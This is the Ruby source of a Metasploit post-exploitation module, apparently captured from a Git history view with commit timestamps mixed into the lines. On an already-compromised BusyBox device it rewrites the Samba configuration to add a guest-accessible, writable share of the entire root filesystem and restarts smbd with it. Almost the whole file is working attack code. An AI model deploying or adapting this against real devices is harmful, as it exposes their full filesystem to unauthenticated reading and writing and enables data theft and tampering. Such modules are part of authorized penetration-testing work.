metasploit-framework/modules/post/linux/busybox/smb_share_root.rb

60 lines
1.8 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf::Post
include Msf::Post::File
2015-08-28 16:50:17 +00:00
include Msf::Post::Linux::BusyBox
def initialize
super(
2015-08-28 16:18:49 +00:00
'Name' => 'BusyBox SMB Sharing',
'Description' => %q{
This module will be applied on a session connected to a BusyBox shell. It will modify
the SMB configuration of the device executing BusyBox to share the root directory of
the device.
},
'Author' => 'Javier Vicente Vallejo',
'License' => MSF_LICENSE,
2015-08-28 16:18:49 +00:00
'Platform' => ['linux'],
'SessionTypes' => ['shell']
)
end
def run
2015-08-28 16:18:49 +00:00
print_status('Checking smb.conf...')
2015-08-28 16:56:12 +00:00
if busy_box_file_exist?('/var/samba/smb.conf')
2015-08-28 16:18:49 +00:00
print_status('smb.conf found, searching writable directory...')
2015-08-28 18:26:52 +00:00
writable_directory = busy_box_writable_dir
if writable_directory
2015-08-28 16:18:49 +00:00
print_status('writable directory found, copying smb.conf and restarting smbd')
copy_smb_conf(writable_directory)
else
2015-08-28 16:18:49 +00:00
print_error('Writable directory not found')
end
else
2015-08-28 16:18:49 +00:00
print_error('smb.conf not found')
end
end
2015-08-28 16:18:49 +00:00
def copy_smb_conf(dir)
cmd_exec_delay("rm -f #{dir}smb.conf")
cmd_exec_delay("cp -f /var/samba/smb.conf #{dir}smb.conf")
cmd_exec_delay("echo -e '[rootdir]\ncomment = rootdir\npath = /\nbrowseable = yes\nwriteable = yes\nguest ok = yes\n' >> #{dir}smb.conf")
cmd_exec_delay('killall smbd')
cmd_exec_delay("smbd -D -s #{dir}smb.conf")
2015-09-04 18:30:00 +00:00
cmd_exec_delay("smbd -D -s=#{dir}smb.conf") # Uses equal just in case
2015-08-28 16:18:49 +00:00
end
def cmd_exec_delay(command)
res = cmd_exec(command)
vprint_status(res)
Rex.sleep(0.1)
end
end